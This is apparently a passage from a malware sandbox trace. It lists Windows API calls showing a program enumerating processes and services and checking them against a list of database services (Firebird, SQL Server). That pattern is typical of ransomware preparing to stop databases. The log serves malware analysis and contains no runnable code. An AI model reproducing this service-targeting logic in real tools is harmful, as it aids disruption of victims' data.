(lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0274.177] lstrlenW (lpString="ProfSvc") returned 7 [0274.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0274.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0274.177] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0274.177] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0274.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0274.177] lstrlenW (lpString="RpcEptMapper") returned 12 [0274.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0274.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0274.177] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0274.177] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0274.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0274.177] lstrlenW (lpString="RpcSs") returned 5 [0274.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0274.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0274.177] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0274.177] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0274.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0274.177] lstrlenW (lpString="SamSs") returned 5 [0274.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0274.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0274.178] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0274.178] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0274.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0274.178] lstrlenW (lpString="Schedule") returned 8 [0274.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0274.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0274.178] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0274.178] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0274.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0274.178] lstrlenW (lpString="SecurityHealthService") returned 21 [0274.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0274.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0274.178] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0274.178] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0274.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0274.178] lstrlenW (lpString="SENS") returned 4 [0274.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0274.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0274.178] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0274.178] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0274.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0274.178] lstrlenW (lpString="ShellHWDetection") returned 16 [0274.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0274.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0274.178] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0274.179] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0274.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0274.179] lstrlenW (lpString="Spooler") returned 7 [0274.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0274.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0274.179] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0274.179] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0274.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0274.179] lstrlenW (lpString="SSDPSRV") returned 7 [0274.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0274.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0274.179] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0274.179] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0274.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0274.179] lstrlenW (lpString="StateRepository") returned 15 [0274.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0274.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0274.179] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0274.179] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0274.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0274.179] lstrlenW (lpString="SysMain") returned 7 [0274.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0274.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0274.179] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0274.179] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0274.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0274.180] lstrlenW (lpString="SystemEventsBroker") returned 18 [0274.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0274.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0274.180] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0274.180] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0274.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0274.180] lstrlenW (lpString="Themes") returned 6 [0274.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0274.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0274.180] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0274.180] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0274.180] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45cc008 | out: hHeap=0x6e0000) returned 1 [0274.180] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x390 [0274.184] Process32FirstW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0274.185] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0274.186] lstrlenW (lpString="System") returned 6 [0274.186] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0274.189] lstrlenW (lpString="smss.exe") returned 8 [0274.189] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0274.190] lstrlenW (lpString="csrss.exe") returned 9 [0274.190] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0274.191] lstrlenW (lpString="wininit.exe") returned 11 [0274.191] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0274.192] lstrlenW (lpString="csrss.exe") returned 9 [0274.192] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0274.193] lstrlenW (lpString="winlogon.exe") returned 12 [0274.193] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0274.193] lstrlenW (lpString="services.exe") returned 12 [0274.193] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0274.194] lstrlenW (lpString="lsass.exe") returned 9 [0274.194] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0274.195] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0274.195] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0274.196] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0274.196] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.197] lstrlenW (lpString="svchost.exe") returned 11 [0274.197] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.198] lstrlenW (lpString="svchost.exe") returned 11 [0274.198] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0274.198] lstrlenW (lpString="dwm.exe") returned 7 [0274.198] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.199] lstrlenW (lpString="svchost.exe") returned 11 [0274.199] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.200] lstrlenW (lpString="svchost.exe") returned 11 [0274.200] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.201] lstrlenW (lpString="svchost.exe") returned 11 [0274.201] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.202] lstrlenW (lpString="svchost.exe") returned 11 [0274.202] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.202] lstrlenW (lpString="svchost.exe") returned 11 [0274.203] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.203] lstrlenW (lpString="svchost.exe") returned 11 [0274.203] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.204] lstrlenW (lpString="svchost.exe") returned 11 [0274.204] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.205] lstrlenW (lpString="svchost.exe") returned 11 [0274.205] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.206] lstrlenW (lpString="svchost.exe") returned 11 [0274.206] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.207] lstrlenW (lpString="svchost.exe") returned 11 [0274.207] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0274.207] lstrlenW (lpString="spoolsv.exe") returned 11 [0274.208] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0274.208] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0274.208] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0274.209] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0274.209] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0274.210] lstrlenW (lpString="Memory Compression") returned 18 [0274.210] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.211] lstrlenW (lpString="svchost.exe") returned 11 [0274.211] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0274.212] lstrlenW (lpString="audiodg.exe") returned 11 [0274.212] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0274.214] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0274.214] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0274.215] lstrlenW (lpString="sihost.exe") returned 10 [0274.215] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.216] lstrlenW (lpString="svchost.exe") returned 11 [0274.216] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0274.217] lstrlenW (lpString="taskhostw.exe") returned 13 [0274.217] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0274.218] lstrlenW (lpString="msoia.exe") returned 9 [0274.218] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0274.219] lstrlenW (lpString="explorer.exe") returned 12 [0274.219] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0274.220] lstrlenW (lpString="SearchUI.exe") returned 12 [0274.220] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0274.221] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0274.221] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0274.221] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0274.222] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0274.222] lstrlenW (lpString="1csrss.exe") returned 10 [0274.222] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.223] lstrlenW (lpString="svchost.exe") returned 11 [0274.223] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd88, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0274.224] lstrlenW (lpString="cmd.exe") returned 7 [0274.224] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0274.225] lstrlenW (lpString="conhost.exe") returned 11 [0274.225] Process32NextW (in: hSnapshot=0x390, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0274.225] CloseHandle (hObject=0x390) returned 1 [0274.225] Sleep (dwMilliseconds=0x1f4) [0275.401] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x71eb10 [0275.401] EnumServicesStatusExW (in: hSCManager=0x71eb10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0275.402] GetLastError () returned 0xea [0275.402] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1ca4) returned 0x737f08 [0275.402] EnumServicesStatusExW (in: hSCManager=0x71eb10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x737f08, cbBufSize=0x1ca4, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x737f08, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0275.402] CloseServiceHandle (hSCObject=0x71eb10) returned 1 [0275.403] lstrlenW (lpString="AppXSvc") returned 7 [0275.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0275.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0275.403] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0275.403] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0275.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0275.403] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0275.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0275.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0275.403] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0275.403] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0275.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0275.403] lstrlenW (lpString="Audiosrv") returned 8 [0275.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0275.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0275.403] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0275.403] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0275.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0275.403] lstrlenW (lpString="BFE") returned 3 [0275.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0275.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0275.403] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0275.403] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0275.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0275.403] lstrlenW (lpString="BITS") returned 4 [0275.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0275.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0275.403] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0275.403] lstrcmpiW 